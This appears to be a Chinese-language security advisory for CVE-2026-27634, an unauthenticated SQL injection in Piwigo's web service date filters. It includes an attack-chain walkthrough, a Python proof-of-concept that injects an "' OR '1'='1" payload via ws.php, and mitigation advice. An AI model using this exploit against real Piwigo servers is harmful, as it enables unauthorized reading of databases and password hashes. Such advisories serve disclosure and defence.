IPBUF安全漏洞报告
English
CVE-2026-27634 CVSS 9.8 严重

CVE-2026-27634 Piwigo SQL注入漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-27634
漏洞类型
SQL注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Piwigo

相关标签

SQL注入Piwigo信息泄露未授权访问严重漏洞

漏洞概述

Piwigo是一款开源的Web照片库应用程序。在16.3.0版本之前,该软件在`ws_std_image_sql_filter()`函数中存在严重的SQL注入漏洞。具体而言,四个日期过滤参数在处理时未经任何转义或类型验证就直接拼接到SQL语句中。这一缺陷允许未经身份验证的攻击者通过构造恶意的HTTP请求,读取完整的数据库内容,包括敏感的用户密码哈希值。该漏洞已被官方在16.3.0版本中修复,鉴于其无需认证即可利用的特性,建议用户立即升级。

技术细节

该漏洞的核心成因在于不安全的SQL查询构建方式。在受影响的Piwigo版本中,`ws_std_image_sql_filter()`函数负责处理图片筛选逻辑。当用户通过Web服务接口提交日期范围过滤参数时,应用程序直接将`f_min_date_available`、`f_max_date_available`、`f_min_date_created`和`f_max_date_created`这四个参数的值拼接到SQL查询字符串中,而没有使用预编译语句或进行严格的输入验证。由于缺乏有效的安全过滤,攻击者可以在这些参数中注入恶意的SQL语法(如`UNION SELECT`)。由于攻击向量为网络(AV:N),且无需用户交互(UI:N)和认证(PR:N),远程攻击者只需向存在漏洞的端点发送特制的HTTP请求,即可操纵后端数据库执行任意SQL命令。利用成功后,攻击者能够通过盲注或联合查询技术提取数据库中的所有数据,特别是管理员和用户的密码哈希,对系统安全造成严重破坏。

攻击链分析

STEP 1
侦察
攻击者识别出目标运行的是Piwigo应用程序,且版本低于16.3.0。
STEP 2
武器化
攻击者构造恶意的SQL注入载荷,目标锁定`ws_std_image_sql_filter()`函数中的日期参数(如`f_min_date_available`),使用`UNION SELECT`或布尔盲注语法。
STEP 3
交付
攻击者向Piwigo的Web服务接口(通常是`ws.php`)发送特制的HTTP GET或POST请求,将恶意载荷注入到参数中。
STEP 4
利用
服务器端未对参数进行过滤,直接将其拼接到SQL语句中执行。数据库解析恶意载荷并返回非预期的数据。
STEP 5
数据窃取
攻击者解析HTTP响应,提取数据库中的敏感信息,包括用户表、密码哈希等。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Proof of Concept for CVE-2026-27634 # This script demonstrates the SQL injection vulnerability in Piwigo < 16.3.0 # The vulnerability exists in the date filter parameters of the web service API. def exploit_piwigo_sqli(target_url): """ Attempts to exploit the SQL injection vulnerability in Piwigo. """ # The vulnerable endpoint is typically the web service (ws.php) endpoint = f"{target_url}/ws.php" # SQL Injection payload: Using a simple logical check to demonstrate the vulnerability # This payload attempts to make the condition TRUE, potentially returning all records. # In a real scenario, this would be a UNION SELECT or blind injection payload. sqli_payload = "2024-01-01' OR '1'='1" parameters = { "method": "pwg.images.search", # Common method triggering the filter "f_min_date_available": sqli_payload, "format": "json" } try: print(f"[+] Sending payload to {endpoint}") response = requests.get(endpoint, params=parameters, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response content (first 500 chars):") print(response.text[:500]) # Analyze response to confirm vulnerability (heuristic) if "images" in response.text or "result" in response.text: print("[!] Potential SQL Injection confirmed based on response structure.") else: print("[!] Response received, but manual verification of data exfiltration is required.") else: print(f"[-] Server returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost/piwigo" exploit_piwigo_sqli(target)

影响范围

Piwigo < 16.3.0

防御指南

临时缓解措施
如果无法立即升级,建议部署Web应用防火墙(WAF)以拦截针对日期参数的SQL注入攻击尝试,并严格限制数据库账户的访问权限,禁止Web账户执行敏感的读取操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表